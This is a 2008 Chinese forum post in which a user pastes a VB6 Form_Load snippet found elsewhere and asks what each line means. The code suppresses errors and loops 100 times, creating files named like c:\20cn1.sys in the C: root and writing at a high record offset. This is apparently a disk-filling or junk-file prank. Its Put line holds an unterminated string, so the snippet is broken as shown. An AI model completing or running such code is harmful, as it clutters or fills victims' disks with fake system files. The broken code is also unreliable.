Private Sub Form_Load()
On Error Resume Next
For i = 1 To 100
     Open "c:\\20cn" + CStr(i) + ".sys" For Random As 1
  
DoEvents

Put #1, 30000, "

  
Next
End Sub
帮我解释一下这段代码.每句的意思.我不理解

[[it] 本帖最后由 b123456 于 2008-10-25 11:23 编辑 [/it]]

不是广告阿.刚才我忘了写上了

希望懂的给这几句话.帮我解释明白一下.我也是在别的站看到的.但不知道怎么用.我放到窗体中运行可没什么反映